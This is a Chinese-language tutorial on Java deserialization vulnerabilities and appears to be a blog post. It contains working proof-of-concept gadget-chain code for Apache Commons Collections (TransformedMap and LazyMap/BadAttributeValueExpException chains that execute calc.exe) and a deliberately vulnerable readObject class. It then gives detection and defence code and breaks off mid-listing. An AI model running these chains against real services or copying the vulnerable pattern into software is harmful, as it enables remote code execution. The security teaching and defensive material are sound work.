序列化和反序列化

  • 序列化:将对象转换成字节序列存储(文件、内存、数据库),对应 Java 原生序列化的 writeObject
  • 反序列化:将字节序列转换成对象,对应 Java 原生序列化的 readObject

序列化作用

  • 不同系统、进程间的数据传输(RPC、HTTP )
  • Java RMI、Java Bean
  • 保存信息,便于 JVM 启动时直接使用

序列化条件

  • 该类必须实现 java.io.Serializable 对象
  • 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的

序列化过程

  • 序列化:将 OutputStream 封装在 ObjectOutputStream 内,然后调用 writeObject 即可
  • 反序列化:将 InputStream 封装在 ObjectInputStream 内,然后调用 readObject 即可

示例代码:



// User.java  User 类
import java.io.Serializable;

public class User implements Serializable {
    public String name;
    // 一旦变量被transient修饰,变量将不再是对象持久化的一部分,该变量内容在序列化后无法获得访问
    public transient String address;
    public int number;

    public void info(){
        System.out.println("Name: " + name + "nAddress: " + address + "nNumber: " + number);
    }
}

// SerialTest.java
import java.io.*;

public class SerialTest {
    public static void serialize_test(){
        User user = new User();
        user.name = "Zhihu";
        user.address = "Zhongguancun";
        user.number = 666;
        user.info();
        try {
            FileOutputStream fos = new FileOutputStream("user.ser");
            ObjectOutputStream obs = new ObjectOutputStream(fos);
            obs.writeObject(user);
            obs.close();
            fos.close();
            System.out.println("[*]User对象已经序列化保存到user.ser文件中");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    public static void unserialize_test(){
        User user = null;
        try {
            FileInputStream fis = new FileInputStream("user.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            user = (User)ois.readObject();
            ois.close();
            fis.close();
        } catch (IOException e){
            e.printStackTrace();
        } catch (ClassNotFoundException e){
            e.printStackTrace();
        }
        System.out.println("[*]反序列化后的内容:");
        user.info();
    }

    public static void main(String[] args) {
        // 序列化
        serialize_test();
        // 反序列化
        unserialize_test();
    }
}



序列化字节码(user.ser),可用工具 SerializationDumper 查看:



PS D:java-securitysec-tool> java -jar .SerializationDumper-v1.13.jar -r ..codeJavaSerialuser.ser

STREAM_MAGIC - 0xac ed // 声明使用了序列化协议,从这里可以判断保存的内容是否为序列化数据
STREAM_VERSION - 0x00 05 // 序列化协议版本
Contents
  TC_OBJECT - 0x73 // 声明这是一个新的对象
    TC_CLASSDESC - 0x72 // 声明这里开始一个新 Class
      className
        Length - 4 - 0x00 04
        Value - User - 0x55736572
      serialVersionUID - 0x64 d4 c4 d2 26 ca c4 8d // SerialVersionUID,序列化ID,如果没有指定,则会由算法随机生成一个 8 byte 的 ID
      newHandle 0x00 7e 00 00 // 新的引用
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 2 - 0x00 02
      Fields
        0:
          Int - I - 0x49
          fieldName
            Length - 6 - 0x00 06
            Value - number - 0x6e756d626572
        1:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - name - 0x6e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata
      User
        values
          number
            (int)666 - 0x00 00 02 9a
          name
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 5 - 0x00 05
                Value - Zhihu - 0x5a68696875



serialVersionUID 作用

序列化字节码中的 serialVersionUID 用于判断 Java 序列化版本一致性。在进行反序列化时,JVM 会把传来的字节流中的 serialVersionUID 与本地相应实体类的 serialVersionUID 进行比较,如果相同就认为是一致的,可以进行反序列化,否则就抛出序列化版本不一致的异常- InvalidCastException。

serialVersionUID 生成方式:

  • 默认 1L,例如:
private static final long serialVersionUID = 1L;



  • 根据类名、接口名、成员方法及属性等来生成一个 64 位的哈希字段:
private static final long serialVersionUID = xxxxL;



  • 实现 java.io.Serializable 接口的类没有显式的定义 serialVersionUID 变量,Java 序列化机制会根据编译的 Class 自动生成一个 serialVersionUID

显示定义 serialVersionUID 作用:

  • 保持类的不同版本具有相同的 serialVersionUID 以保证不同版本类对序列化兼容
  • 保持类的不同版本具有不同的 serialVersionUID 以保证相同版本类对序列化兼容

序列化控制

  • Externalizable:Externalizable 接口继承自 Serializable 接口,同时添加了两个方法即writeExternal 和 readExternal,两者会在序列化和反序列化的过程中被自动调用,以便于执行一些特殊操作来实现过程控制
  • transient:实现 Serializable 对象可应用到 transient 关键字来逐个字段地关闭序列化,即说明指定字段内容在序列化中是不需要保存或恢复操作的

自定义实现序列化:



// UserWrapper.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class UserWrapper implements Serializable {
    public String name;
    public String address;
    public int number;

    private void writeObject(ObjectOutputStream out) throws IOException {
        System.out.println("[*]Write Object.");
        out.writeObject(new StringBuffer(name).reverse());
        out.writeObject(new StringBuffer(address).reverse());
        out.writeInt(number);
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        System.out.println("[*]Read Object.");
        this.name = ((StringBuffer)in.readObject()).reverse().toString();
        this.address = ((StringBuffer)in.readObject()).reverse().toString();
        this.number = in.readInt();
    }
}

// SerialWrapTest.java
import java.io.*;

public class SerialWrapTest {
    public static void serialize_test(){
        UserWrapper user = new UserWrapper();
        user.name = "Zhihu";
        user.address = "Zhongguancun";
        user.number = 666;
        try {
            FileOutputStream fos = new FileOutputStream("user.ser");
            ObjectOutputStream obs = new ObjectOutputStream(fos);
            obs.writeObject(user);
            obs.close();
            fos.close();
            System.out.println("[*]User对象已经序列化保存到user.ser文件中");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    public static void unserialize_test(){
        UserWrapper user = null;
        try {
            FileInputStream fis = new FileInputStream("user.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            user = (UserWrapper)ois.readObject();
            ois.close();
            fis.close();
        } catch (IOException e){
            e.printStackTrace();
        } catch (ClassNotFoundException e){
            e.printStackTrace();
        }
        System.out.println("Name: " + user.name + "nAddress: " + user.address + "nNumber: " + user.number);
    }

    public static void main(String[] args) {
        serialize_test();
        unserialize_test();
    }
}



反序列化漏洞成因

序列化和反序列化本身并不存在问题。当服务自定义实现 Serializable、重写 readObject 方法时,若 readObject 方法内代码逻辑存在缺陷,则可能存在 Java 反序列化漏洞的风险。如果此时 Java 服务的反序列化 API 允许外部用户使用,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

漏洞代码示例:



// UserWrapperRCE.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class UserWrapperRCE implements Serializable {
    public String name;
    public String address;
    public int number;

    private void writeObject(ObjectOutputStream out) throws IOException {
        System.out.println("[*]Write Object.");
        out.writeObject(new StringBuffer(name).reverse());
        out.writeObject(new StringBuffer(address).reverse());
        out.writeInt(number);
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        System.out.println("[*]Read Object.");
        this.name = ((StringBuffer)in.readObject()).reverse().toString();
        this.address = ((StringBuffer)in.readObject()).reverse().toString();
        this.number = in.readInt();
        // 缺陷代码逻辑块
        if (this.number == 666) {
            Runtime.getRuntime().exec(name);
        }
    }
}
// SerialRCE.java
import java.io.*;

public class SerialRCE {
    public static void serialize_test(){
        UserWrapperRCE user = new UserWrapperRCE();
        // 命令
        user.name = "calc.exe";
        user.address = "Zhongguancun";
        // 触发条件
        user.number = 666;
        try {
            FileOutputStream fos = new FileOutputStream("user.ser");
            ObjectOutputStream obs = new ObjectOutputStream(fos);
            obs.writeObject(user);
            obs.close();
            fos.close();
            System.out.println("[*]User对象已经序列化保存到user.ser文件中");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    public static void unserialize_test(){
        UserWrapperRCE user = null;
        try {
            FileInputStream fis = new FileInputStream("user.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            user = (UserWrapperRCE)ois.readObject();
            ois.close();
            fis.close();
        } catch (IOException e){
            e.printStackTrace();
        } catch (ClassNotFoundException e){
            e.printStackTrace();
        }
        System.out.println("Name: " + user.name + "nAddress: " + user.address + "nNumber: " + user.number);
    }

    public static void main(String[] args) {
        serialize_test();
        unserialize_test();
    }
}



执行 unserialize_test 函数触发命令执行。

反序列化漏洞挖掘和检测

从 Java 反序列化的一般挖掘思路、步骤来看:

  • 找到反序列化入口 (source)-> user =(UserWrapperRCE)ois.readObject();
  • 调用链 (gadget)
  • 触发漏洞的目标方法 (sink)-> Runtime.getRuntime().exec(name);

source 包括:Java 原生反序列化的 readObject、Fastjson、Jackson 的 Settter 方法等

sink 包括:Runtime.exec、Method.invoke,这种需要适当地选择方法和参数,通过反射执行Java方法、RMI/JNDI/JRMP等,通过引用远程对象,间接实现任意代码执行

反序列化是一个链式的调用,对常规漏洞来说是一个 source 到 sink 的调用链路。反序列化漏洞的本质是已知 source 和 sink,递归检查所有方法调用寻找一条 gadget 的过程。

工具 gadgetinspector 用于检查 Java 库和类路径以获取 gadget 链:



// org.apache.commons.collections 提供一个类包来扩展和增加标准的 Java 的 collection 框架
// Commons Collections 被广泛应用于各种 Java 应用的开发
java -Xmx2G -jar gadget-inspector-all.jar commons-collections-3.2.1.jar
......
2020-10-12 15:36:40,986 gadgetinspector.GadgetChainDiscovery [INFO] Found 4 gadget chains.
2020-10-12 15:36:40,987 gadgetinspector.GadgetInspector [INFO] Analysis complete
// gadget-chains.txt
org/apache/log4j/pattern/LogEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
  org/apache/log4j/pattern/LogEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
  java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)

com/sun/corba/se/spi/orbutil/proxy/CompositeInvocationHandlerImpl.invoke(Ljava/lang/Object;Ljava/lang/reflect/Method;[Ljava/lang/Object;)Ljava/lang/Object; (0)
  org/apache/commons/collections/map/DefaultedMap.get(Ljava/lang/Object;)Ljava/lang/Object; (0)
  org/apache/commons/collections/functors/InvokerTransformer.transform(Ljava/lang/Object;)Ljava/lang/Object; (0)
  java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)

org/apache/log4j/spi/LoggingEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
  org/apache/log4j/spi/LoggingEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
  java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)

java/awt/Component.readObject(Ljava/io/ObjectInputStream;)V (1)
  java/awt/Component.checkCoalescing()Z (0)
  org/apache/commons/collections/map/DefaultedMap.get(Ljava/lang/Object;)Ljava/lang/Object; (1)
  org/apache/commons/collections/functors/InvokerTransformer.transform(Ljava/lang/Object;)Ljava/lang/Object; (1)
  java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)



Apache Commons Collections[3.2.1] 中有一个特殊的接口 Transformer,其中有一个实现该接口的类 InvokerTransformer 可以通过调用 Java 的反射机制来调用任意函数。

InvokerTransformer.transform 漏洞点:



public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    ......
    public Object transform(Object input) {
        ......
        Class cls = input.getClass(); // input为Object对象,获取其对应的Class
        // 获取cls类中具体的方法对象
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        // 执行input对象的method方法,返回同method一样的返回类型
        return method.invoke(input, this.iArgs);



漏洞利用的示例代码:



import org.apache.commons.collections.functors.InvokerTransformer;

public class CCPoc{
    public static void main(String[] args) throws Exception {
        InvokerTransformer it = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"});
        // 如何传入method?
        it.transform(java.lang.Runtime.getRuntime());
    }
}



Apache Commons Collections[3.2.1] 构造一条外部可控的利用链:

  • ConstantTransformer类,是一个 Transformer 接口实现类,其构造方法和 transform 方法如下,可看到 transform 方法会原封不动地返回传入的 Object,因此可构造外部输入的常量如 Runtime.class
public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}
public Object transform(Object input) {
    return this.iConstant;
}



  • InvokerTransformer类,漏洞执行类
  • ChainedTransformer类,是一个 Transformer 接口实现类,其构造方法和 transform 方法如下,其 transform 方法用于链接多个步骤构造的 transformer,其中 object 参数为上一个对象调用 transform 的返回结果
public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}
public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }
    return object;
}



因此可以构造一条可能的利用链:



// java.lang.Runtime.getRuntime().exec(cmd)
Transformer[] transformers = new Transformer[]{
        // xxx.class => java.lang.Class(可序列化) => All Implemented Interfaces: Serializable, AnnotatedElement, GenericDeclaration, Type
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);



构造过程:

  • 构造 ConstantTransformer 对象,把 Runtime 的 Class 对象传进去,在 transform 时,始终会返回这个对象;
  • 构造一个 InvokerTransformer 对象,待调用方法名为 getMethod,参数为 getRuntime,在调用 transform 时,传入 java.lang.Runtime (上一步 object),但经过 getClass 之后,cls 为 java.lang.Class ,之后 getMethod 只能获取 java.lang.Class 的方法,因此才会定义的待调用方法名为 getMethod,然后其参数才是 getRuntime,它得到的是 getMethod 这个方法的 Method 对象,invoke 调用这个方法,最终得到的才是getRuntime 这个方法的 Method 对象
  • 构造一个 InvokerTransformer 对象,待调用方法名为 invoke,参数为空,在 transform时,传入第二步的结果,同理,cls 将会是 java.lang.reflect.Method,再获取并调用它的invoke 方法,实际上是调用上面的 getRuntime 拿到 Runtime 对象
  • 构造一个 InvokerTransformer 对象,待调用方法名为 exec,参数为命令字符串,在transform 时,传入第三步的结果,获取 java.lang.Runtime 的 exec 方法并传参调用
  • 最后把它们组装成一个数组全部放进 ChainedTransformer 中,在 transform 时,会将前一个元素的返回结果作为下一个的参数,刚好满足需求

漏洞利用的示例代码:



import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

public class CCPoc{
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        //测试对象是否可以被序列化
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(transformerChain);
        // 命令执行
        transformerChain.transform(null);
    }
}



接下来寻找 Commons Collections 中哪些地方可以执行该 Transformer 链的 transform 方法以及寻找含有自定义有漏洞的 readObject 方法的类。

已知的可利用类:

  • BadAttributeValueExpException:定义一个对象类型的属性 val,存在自定义 readObject,且满足 System.getSecurityManager() == null 时会调用 valObj.toString,要找到一个合适的工具在 toString 方法被调用时会触发我们构造的恶意代码
public class BadAttributeValueExpException extends Exception   {
    /* Serial version */
    private static final long serialVersionUID = -3105272988410493376L;

    /**
     * @serial A string representation of the attribute that originated this exception.
     * for example, the string value can be the return of {@code attribute.toString()}
     */
    private Object val;

    /**
     * Constructs a BadAttributeValueExpException using the specified Object to
     * create the toString() value.
     *
     * @param val the inappropriate value.
     */
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    /**
     * Returns the string representing the object.
     */
    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }



  • LazyMap 调用 get 方法触发 transform 方法
  • LazyMap 是 Commons-collections 3.1 提供的一个工具类,是 Map 的一个实现,主要的内容是利用工厂设计模式,在用户 get 一个不存在的 key 时执行一个方法来生成 Key 值,当且仅当 get 行为存在的时候 Value 才会被生成。其定义代码如下
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    private static final long serialVersionUID = 7990956402564206740L;
    protected final Transformer factory;

    public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
    }

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Factory factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = FactoryTransformer.getInstance(factory);
        }
    }

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeObject(this.map);
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        this.map = (Map)in.readObject();
    }

    public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }
}



  • TiedMapEntry 也存在于 Commons-collections 3.1,该类主要的作用是将一个 Map 绑定到 Map.Entry 下,形成一个映射
public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Entry)) {
            return false;
        } else {
            boolean var10000;
            label43: {
                label29: {
                    Entry other = (Entry)obj;
                    Object value = this.getValue();
                    if (this.key == null) {
                        if (other.getKey() != null) {
                            break label29;
                        }
                    } else if (!this.key.equals(other.getKey())) {
                        break label29;
                    }

                    if (value == null) {
                        if (other.getValue() == null) {
                            break label43;
                        }
                    } else if (value.equals(other.getValue())) {
                        break label43;
                    }
                }

                var10000 = false;
                return var10000;
            }

            var10000 = true;
            return var10000;
        }
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}



toString 中调用了 getValue,而 getValue 中实际是 map.get(key),如此一来就构建起了整个调用链接了,整个调用链




Java 反序列化漏洞 java反序列化漏洞利用工具_Java 反序列化漏洞


代码:


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class BChainTest {
    public static void main(String args[]) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        //利用反射的方式来向对象传参
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);

        // 反序列化
        BChainTest t = new BChainTest();
        t.deserialize(t.serialize(val));
    }

    public  byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public  Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }

}


  • AnnotationInvocationHandler:存在 JDK(1.7) 版本限制,定义了 Class 类型的 type 变量、Map 类型的 memberValues 变量以及 Method[] 类型的 memberMethods 数组变量,并且重写了 readObject 方法,可以看到,在 readObject 函数中,在其遍历memberValues.entrySet 时,会用键名在 memberTypes 中尝试获取一个 Class(这里为var7变量),并判断它是否为 null,这是触发反序列化RCE所需要满足的条件
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;

    AnnotationInvocationHandler(Class var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else {
            assert var5.length == 0;

            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }
    ...
	private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            return;
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}


  • 寻找一个 Map 类,该类的特点是其中的 Entry 在 SetValue 的时候会执行额外的程序
  • 将这个 Map 类作为参数构建一个 AnnotationInvocationHandler 对象,并序列化
  • 从 AnnotationInvocationHandler 类的 readObejct 方法知道,关注点在memberValue.setValue 中,那么现在就需要找到一个合适的类在调用 setValue 方法时触发 transform 方法来执行我们构造的反射链
  • TransformedMap 是 Commons-collections 3.1 提供的一个工具类,用来包装一个 Map 对象,并且在该对象的 Entry 的 Key 或者 Value 进行改变的时候,对该Key 和 Value 进行 Transformer 提供的转换操作,从而满足了我们对理想型媒介的需求,即能在调用 setValue 方法时触发 transform 方法来执行我们构造的反射链
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    private static final long serialVersionUID = 7023152376788900464L;
    protected final Transformer keyTransformer;
    protected final Transformer valueTransformer;

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
	...
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

    protected Object transformKey(Object object) {
        return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
    }

    protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }
    ...
}


整个调用链:


Java 反序列化漏洞 java反序列化漏洞利用工具_java反序列化终极测试工具_02


代码:


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class AChainTest {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "value");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        Object instance = ctor.newInstance(Retention.class, outmap);

        AChainTest poc_test = new AChainTest();
        poc_test.deserialize(poc_test.serialize(instance));
    }

    public  byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public  Object deserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}


上面的例子都是以 InvokerTransformer 类为例构造的,Apache Commons Collections 还存在 TemplatesImpl 类的利用链,一条调用链示例:


PriorityQueue.readObject()
                PriorityQueue.heapify()
                    PriorityQueue.siftDown()
                        PriorityQueue.siftDownUsingConparator()
                            TransformingComparator.compare()
                                InvokerTransformer.transform()
                  TemplatesImpl.newTranformer()
                    Method.invoke()
                                     Runtime.exec()


Java 反序列化漏洞 java反序列化漏洞利用工具_Java 反序列化漏洞_03


反序列化项目:

  • frohoff/ysoserial 原生序列化 POC 生成
  • frohoff/marshalsec 第三方格式序列化 POC 生成
  • GrrrDog/Java-Deserialization-Cheat-Sheet 备忘单

Java 反序列化漏洞检测就是根据已知的反序列化漏洞利用工具或手动生成相应的 POC,寻找入口点进行漏洞验证的过程。

反序列化检测和防御

  • 检测:在 SAST 时重点关注一些反序列化操作函数并判断输入是否可控,如
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject


  • 防御
  • 重写 ObjectInputStream 的 resolveClass,设置黑白名单机制
import javax.management.BadAttributeValueExpException;
import java.io.*;

public class SecureObjectInputStream extends ObjectInputStream {
    public SecureObjectInputStream(InputStream inputStream)
            throws IOException {
        super(inputStream);
    }

    /**
     * Only deserialize instances of our expected Bicycle class
     */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        // BadAttributeValueExpException
        if (!desc.getName().equals(BadAttributeValueExpException.class.getName())) {
            throw new InvalidClassException("触发黑名单机制,禁止反序列化恶意类对象", desc.getName());
        }
        return super.resolveClass(desc);
    }
}


  • 使用 ikkisoft/SerialKiller
  • 禁止 JVM 执行 Runtime.exec:通过扩展 SecurityManager 可以实现,这里添加一个函数,在进行反序列化操作之前调用即可
public static void noSerial(){
    SecurityManager originalSecurityManager = System.getSecurityManager();
    if (originalSecurityManager == null) {
        // 创建自己的SecurityManager
        SecurityManager sm = new SecurityManager() {
            private void check(Permission perm) {
                // 禁止exec
                if (perm instanceof java.io.FilePermission) {
                    String actions = perm.getActions();
                    if (actions != null && actions.contains("execute")) {
                        throw new SecurityException("execute denied!");
                    }
                }
                // 禁止设置新的SecurityManager,保护自己
                if (perm instanceof java.lang.RuntimePermission) {
                    String name = perm.getName();
                    if (name != null && name.contains("setSecurityManager")) {
                        throw new SecurityException("System.setSecurityManager denied!");
                    }
                }
            }

            @Override
            public void checkPermission(Permission perm) {
                check(perm);
            }

            @Override
            public void checkPermission(Permission perm, Object context) {
